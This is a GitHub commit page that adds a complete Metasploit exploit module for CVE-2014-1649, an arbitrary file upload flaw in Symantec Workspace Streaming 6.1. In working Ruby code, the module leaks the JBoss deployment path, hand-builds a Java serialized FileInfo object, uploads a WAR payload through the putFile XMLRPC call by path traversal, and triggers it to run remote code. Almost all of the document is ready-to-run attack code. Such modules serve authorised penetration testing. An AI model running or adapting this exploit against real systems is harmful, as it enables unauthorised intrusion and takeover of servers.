Skip to content

Commit bf52c0b

Browse files
committed
Land rapid7#3364 - Symantec Workspace Streaming Arbitrary File Upload
2 parents 2fb0dbb + 1b68abe commit bf52c0b

File tree

1 file changed

+356
-0
lines changed

1 file changed

+356
-0
lines changed
Lines changed: 356 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,356 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rexml/document'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::FileDropper
14+
include REXML
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Symantec Workspace Streaming Arbitrary File Upload',
19+
'Description' => %q{
20+
This module exploits a code execution flaw in Symantec Workspace Streaming. The
21+
vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the
22+
as_agent.exe service, which allows to upload arbitrary files under the server root.
23+
This module abuses the auto deploy feature at the JBoss as_ste.exe's instance in order
24+
to achieve remote code execution. This module has been tested successfully on Symantec
25+
Workspace Streaming 6.1 SP8 and Windows 2003 SP2. Abused services listen on a single
26+
machine deployment, and also at the backend role in a multiple machines deployment
27+
},
28+
'Author' =>
29+
[
30+
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
31+
'juan vazquez' # Metasploit module
32+
],
33+
'License' => MSF_LICENSE,
34+
'References' =>
35+
[
36+
['CVE', '2014-1649'],
37+
['BID', '67189'],
38+
['ZDI', '14-127'],
39+
['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00']
40+
],
41+
'Privileged' => true,
42+
'Platform' => 'java',
43+
'Arch' => ARCH_JAVA,
44+
'Targets' =>
45+
[
46+
[ 'Symantec Workspace Streaming 6.1 SP8 / Java Universal', {} ]
47+
],
48+
'DefaultTarget' => 0,
49+
'DisclosureDate' => 'May 12 2014'))
50+
51+
register_options(
52+
[
53+
Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file)
54+
OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse jboss auto deploy)
55+
], self.class)
56+
end
57+
58+
def send_xml_rpc_request(xml)
59+
res = send_request_cgi(
60+
{
61+
'uri' => normalize_uri("/", "xmlrpc"),
62+
'method' => 'POST',
63+
'ctype' => 'text/xml; charset=UTF-8',
64+
'data' => xml
65+
})
66+
67+
res
68+
end
69+
70+
def build_soap_get_file(file_path)
71+
xml = Document.new
72+
xml.add_element(
73+
"methodCall",
74+
{
75+
'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
76+
})
77+
method_name = xml.root.add_element("methodName")
78+
method_name.text = "ManagementAgentServer.getFile"
79+
80+
params = xml.root.add_element("params")
81+
82+
param_server_root = params.add_element("param")
83+
value_server_root = param_server_root.add_element("value")
84+
value_server_root.text = "*AWESE"
85+
86+
param_file_type = params.add_element("param")
87+
value_file_type = param_file_type.add_element("value")
88+
type_file_type = value_file_type.add_element("i4")
89+
type_file_type.text = "0" # build path from the server root directory
90+
91+
param_file_name = params.add_element("param")
92+
value_file_name = param_file_name.add_element("value")
93+
value_file_name.text = file_path
94+
95+
param_file_binary = params.add_element("param")
96+
value_file_binary = param_file_binary.add_element("value")
97+
type_file_binary = value_file_binary.add_element("boolean")
98+
type_file_binary.text = "0"
99+
100+
xml << XMLDecl.new("1.0", "UTF-8")
101+
102+
xml.to_s
103+
end
104+
105+
def build_soap_put_file(file)
106+
xml = Document.new
107+
xml.add_element(
108+
"methodCall",
109+
{
110+
'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
111+
})
112+
method_name = xml.root.add_element("methodName")
113+
method_name.text = "ManagementAgentServer.putFile"
114+
115+
params = xml.root.add_element("params")
116+
117+
param_server_root = params.add_element("param")
118+
value_server_root = param_server_root.add_element("value")
119+
value_server_root.text = "*AWESE"
120+
121+
param_file_type = params.add_element("param")
122+
value_file_type = param_file_type.add_element("value")
123+
type_file_type = value_file_type.add_element("i4")
124+
type_file_type.text = "0" # build path from the server root directory
125+
126+
param_file = params.add_element("param")
127+
value_file = param_file.add_element("value")
128+
type_value_file = value_file.add_element("ex:serializable")
129+
type_value_file.text = file
130+
131+
xml << XMLDecl.new("1.0", "UTF-8")
132+
133+
xml.to_s
134+
end
135+
136+
def build_soap_check_put
137+
xml = Document.new
138+
xml.add_element(
139+
"methodCall",
140+
{
141+
'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
142+
})
143+
method_name = xml.root.add_element("methodName")
144+
method_name.text = "ManagementAgentServer.putFile"
145+
xml.root.add_element("params")
146+
xml << XMLDecl.new("1.0", "UTF-8")
147+
xml.to_s
148+
end
149+
150+
def parse_method_response(xml)
151+
doc = Document.new(xml)
152+
file = XPath.first(doc, "methodResponse/params/param/value/ex:serializable")
153+
154+
unless file.nil?
155+
file = Rex::Text.decode_base64(file.text)
156+
end
157+
158+
file
159+
end
160+
161+
def get_file(path)
162+
xml_call = build_soap_get_file(path)
163+
file = nil
164+
165+
res = send_xml_rpc_request(xml_call)
166+
167+
if res && res.code == 200 && res.body
168+
file = parse_method_response(res.body.to_s)
169+
end
170+
171+
file
172+
end
173+
174+
def put_file(file)
175+
result = nil
176+
xml_call = build_soap_put_file(file)
177+
178+
res = send_xml_rpc_request(xml_call)
179+
180+
if res && res.code == 200 && res.body
181+
result = parse_method_response(res.body.to_s)
182+
end
183+
184+
result
185+
end
186+
187+
def upload_war(war_name, war, dst)
188+
result = false
189+
java_file = build_java_file_info("#{dst}#{war_name}", war)
190+
java_file = Rex::Text.encode_base64(java_file)
191+
192+
res = put_file(java_file)
193+
194+
if res && res =~ /ReturnObject.*StatusMessage.*Boolean/
195+
result = true
196+
end
197+
198+
result
199+
end
200+
201+
def jboss_deploy_path
202+
path = nil
203+
leak = get_file("bin/CreateDatabaseSchema.cmd")
204+
205+
if leak && leak =~ /\[INSTALLDIR\](.*)ste\/ste.jar/
206+
path = $1
207+
end
208+
209+
path
210+
end
211+
212+
def check
213+
check_result = Exploit::CheckCode::Safe
214+
215+
if jboss_deploy_path.nil?
216+
xml = build_soap_check_put
217+
res = send_xml_rpc_request(xml)
218+
219+
if res && res.code == 200 && res.body && res.body.to_s =~ /No method matching arguments/
220+
check_result = Exploit::CheckCode::Detected
221+
end
222+
else
223+
check_result = Exploit::CheckCode::Appears
224+
end
225+
226+
check_result
227+
end
228+
229+
def exploit
230+
print_status("#{peer} - Leaking the jboss deployment directory...")
231+
jboss_path =jboss_deploy_path
232+
233+
if jboss_path.nil?
234+
fail_with(Exploit::Unknown, "#{peer} - Failed to disclose the jboss deployment directory")
235+
end
236+
237+
print_status("#{peer} - Building WAR payload...")
238+
239+
app_name = Rex::Text.rand_text_alpha(4 + rand(4))
240+
war_name = "#{app_name}.war"
241+
war = payload.encoded_war({ :app_name => app_name }).to_s
242+
deploy_dir = "..#{jboss_path}"
243+
244+
print_status("#{peer} - Uploading WAR payload...")
245+
246+
res = upload_war(war_name, war, deploy_dir)
247+
248+
unless res
249+
fail_with(Exploit::Unknown, "#{peer} - Failed to upload the war payload")
250+
end
251+
252+
register_files_for_cleanup("../server/appstream/deploy/#{war_name}")
253+
254+
10.times do
255+
select(nil, nil, nil, 2)
256+
257+
# Now make a request to trigger the newly deployed war
258+
print_status("#{rhost}:#{ste_port} - Attempting to launch payload in deployed WAR...")
259+
res = send_request_cgi(
260+
{
261+
'uri' => normalize_uri("/", app_name, Rex::Text.rand_text_alpha(rand(8)+8)),
262+
'method' => 'GET',
263+
'rport' => ste_port # Auto Deploy can be reached through the "as_ste.exe" service
264+
})
265+
# Failure. The request timed out or the server went away.
266+
break if res.nil?
267+
# Success! Triggered the payload, should have a shell incoming
268+
break if res.code == 200
269+
end
270+
271+
end
272+
273+
def ste_port
274+
datastore['STE_PORT']
275+
end
276+
277+
# com.appstream.cm.general.FileInfo serialized object
278+
def build_java_file_info(file_name, contents)
279+
stream = "\xac\xed" # stream magic
280+
stream << "\x00\x05" # stream version
281+
stream << "\x73" # new Object
282+
283+
stream << "\x72" # TC_CLASSDESC
284+
stream << ["com.appstream.cm.general.FileInfo".length].pack("n")
285+
stream << "com.appstream.cm.general.FileInfo"
286+
stream << "\xa3\x02\xb6\x1e\xa1\x6b\xf0\xa7" # class serial version identifier
287+
stream << "\x02" # flags SC_SERIALIZABLE
288+
stream << [6].pack("n") # number of fields in the class
289+
290+
stream << "Z" # boolean
291+
stream << ["bLastPage".length].pack("n")
292+
stream << "bLastPage"
293+
294+
stream << "J" # long
295+
stream << ["lFileSize".length].pack("n")
296+
stream << "lFileSize"
297+
298+
stream << "[" # array
299+
stream << ["baContent".length].pack("n")
300+
stream << "baContent"
301+
stream << "\x74" # TC_STRING
302+
stream << ["[B".length].pack("n")
303+
stream << "[B" # field's type (byte array)
304+
305+
stream << "L" # Object
306+
stream << ["dTimeStamp".length].pack("n")
307+
stream << "dTimeStamp"
308+
stream << "\x74" # TC_STRING
309+
stream << ["Ljava/util/Date;".length].pack("n")
310+
stream << "Ljava/util/Date;" #field's type (Date)
311+
312+
stream << "L" # Object
313+
stream << ["sContent".length].pack("n")
314+
stream << "sContent"
315+
stream << "\x74" # TC_STRING
316+
stream << ["Ljava/lang/String;".length].pack("n")
317+
stream << "Ljava/lang/String;" #field's type (String)
318+
319+
stream << "L" # Object
320+
stream << ["sFileName".length].pack("n")
321+
stream << "sFileName"
322+
stream << "\x71" # TC_REFERENCE
323+
stream << [0x007e0003].pack("N") # handle
324+
325+
stream << "\x78" # TC_ENDBLOCKDATA
326+
stream << "\x70" # TC_NULL
327+
328+
# Values
329+
stream << [1].pack("c") # bLastPage
330+
331+
stream << [0xffffffff, 0xffffffff].pack("NN") # lFileSize
332+
333+
stream << "\x75" # TC_ARRAY
334+
stream << "\x72" # TC_CLASSDESC
335+
stream << ["[B".length].pack("n")
336+
stream << "[B" # byte array)
337+
stream << "\xac\xf3\x17\xf8\x06\x08\x54\xe0" # class serial version identifier
338+
stream << "\x02" # flags SC_SERIALIZABLE
339+
stream << [0].pack("n") # number of fields in the class
340+
stream << "\x78" # TC_ENDBLOCKDATA
341+
stream << "\x70" # TC_NULL
342+
stream << [contents.length].pack("N")
343+
stream << contents # baContent
344+
345+
stream << "\x70" # TC_NULL # dTimeStamp
346+
347+
stream << "\x70" # TC_NULL # sContent
348+
349+
stream << "\x74" # TC_STRING
350+
stream << [file_name.length].pack("n")
351+
stream << file_name # sFileName
352+
353+
stream
354+
end
355+
356+
end

0 commit comments

Comments
 (0)